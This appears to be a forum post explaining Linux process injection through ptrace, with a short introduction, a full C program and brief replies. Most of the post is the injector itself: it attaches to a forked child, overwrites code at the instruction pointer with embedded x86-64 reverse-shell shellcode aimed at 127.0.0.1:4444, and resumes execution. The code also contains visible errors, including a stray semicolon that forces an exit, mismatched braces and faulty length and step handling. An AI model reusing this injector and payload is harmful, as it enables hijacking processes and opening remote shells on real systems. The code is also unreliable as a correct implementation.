Linux Process Injection

I wrote this originally for my website, but I’ve removed some of the philosophical points I was making on my site. If you’re interested in that, please check out https://16-bitwisdom.com/.

Ptrace is a system call in the Linux operating system that allows a process to trace another process. This means that a process can be paused, resumed, and examined by another process while it is running. This can be used for a variety of purposes, such as debugging and monitoring, and is particularly useful for security and system administration tasks.

When a process makes a ptrace call, it specifies the process it wants to trace and the type of tracing it wants to perform. The traced process is then put into a stopped state, and the calling process gains control over it. The calling process can then examine and modify the traced process’s memory and registers, as well as receive notifications when certain events occur, such as a system call being made. There are legitimate cases for it’s use such as debuggers, and security software, however as you’ll see an attacker can use it for malicious purposes.

My original code utilizing ptrace kept causing the program that I was injecting to crash. Even after using GDB I still couldn’t figure out what the issue was. I read recently however that injecting with ptrace can cause a program to crash or not fork properly. I believe this was happening to the original version of my code. That is detailed here, .:: Phrack Magazine ::.. After reading through the article I decided to spawn a child process and inject that process. The shell code is just a reverse shell that connects back to the local host , 127.0.0.1, running on port 4444.

I won’t go through the laborious effort of commenting on all the code. However I will comment on some of it. First the payload is defined. I thought of setting it using #define PAYLOAD, but decided against that. Next we create a child process using the fork () system call. I’ve recently experimented with doing this while going through “The Linux Programming Interface Book”. On line 36, we finally get to ptrace, utilizing this we’re able to trace the child process that we previously spawned. We then tell ptrace to getregs, (get registers), this way we can see the RIP (instruction pointer). We inject our payload at the rip. Following this we set the registry with setregs, then we wait for child process. If all of this is successful the injected shell code spawns a child process, which creates a reverse shell, a reverse shell is a shell that allows an attacker to execute commands on a remote host. See the code below.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ptrace.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <sys/types.h>


int injecting_shell(pid_t pid, unsigned char *src, void *dst, int len);


int main(int argc, char **argv){
    
    unsigned char *payload = (unsigned char*)

        "\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97"
        "\x48\xb9\x02\x00\x11\x5c\x7f\x00\x00\x01\x51\x48\x89\xe6"
        "\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce"
        "\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f"
        "\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48"
        "\x89\xe6\x0f\x05";

    size_t payload_size = strlen((char*)payload);
    pid_t pid; 
    int status;

    pid = fork();

    if (pid == -1){
        perror("fork");
        exit(-1);
    }else if (pid == 0) {
        // child process
        if(ptrace(PTRACE_TRACEME, 0, NULL, NULL)==-1){
            perror("ptrace");
            exit(-1);
        }
        
        execl("/bin/ls", "ls", NULL);
        exit(0);
    }else{

        if(waitpid(pid, &status, 0) == -1){
            perror("waitpid");
            exit(-1);
        }

        if (!WIFSTOPPED(status)){
            perror("Child has not stopped");
            exit(-1);
        }

        struct user_regs_struct regs;

        printf("Got registers\n");

        ptrace(PTRACE_GETREGS,pid, NULL, &regs);
        printf("RAX: %llx\n", (unsigned long long) regs.rax);
        printf("RBX: %llx\n", (unsigned long long) regs.rbx);
        printf("RCX: %llx\n", (unsigned long long) regs.rcx);
        printf("RDX: %llx\n", (unsigned long long) regs.rdx);
        printf("RDI: %llx\n", (unsigned long long) regs.rdi);
        printf("RSI: %llx\n", (unsigned long long) regs.rsi);
        printf("RIP: %llx\n", (unsigned long long) regs.rip);

        printf("[+] Injecting shell code at:%p[+]\n",(void*)regs.rip);
        injecting_shell(pid, payload,(void*)regs.rip, payload_size);
        
        regs.rip += payload_size;
        printf("[+] Setting instruciton pointer %p[+]\n",(void*)regs.rip);

        if(ptrace(PTRACE_SETREGS, pid, NULL, &regs) ==-1){
        perror("ptrace(GETREGS):");
        exit(-1);
        }

        if((ptrace(PTRACE_CONT, pid, NULL, NULL)) == -1);
            perror("ptrace(CONT)");
            exit(-1);
        }

        printf("[+]Running![+]\n");

        if ((ptrace(PTRACE_CONT,pid, NULL, NULL)) == -1){
            perror("ptrace(CONT):");
            exit(-1);
        }

        if(waitpid(pid, &status, 0) ==-1){
            perror("waitpid");
            exit(-1);
        }

        printf("[+] Done![+]\n");

    return 0;
}

int injecting_shell(pid_t pid, unsigned char *src, void *dst, int len){
    unsigned long long *s = (unsigned long long *) src;
    unsigned long long *d = (unsigned long long *) dst;
    for(int i = 0; i < len; i+=4, s++, d++)
    {
        if ((ptrace(PTRACE_POKETEXT, pid, d, *s))<0)
        {
            perror("ptrace(PTRACE_POKETEXT):");
            exit(-1);
        }
    }

    if((ptrace(PTRACE_CONT, pid, NULL, NULL)) == -1){
        perror("ptrace(CONT):");
        exit(-1);
}

    waitpid(pid, NULL, 0);

    return 0;
}
2 Likes

Not sure what was your problem (be free to post you original code), but maybe the last part of this post could help.

2 Likes

That was fun and informative thanks for great and awesome explanation. plz @0x00pf post papers like this in future. Thank you so much.

1 Like

This topic was automatically closed after 121 days. New replies are no longer allowed.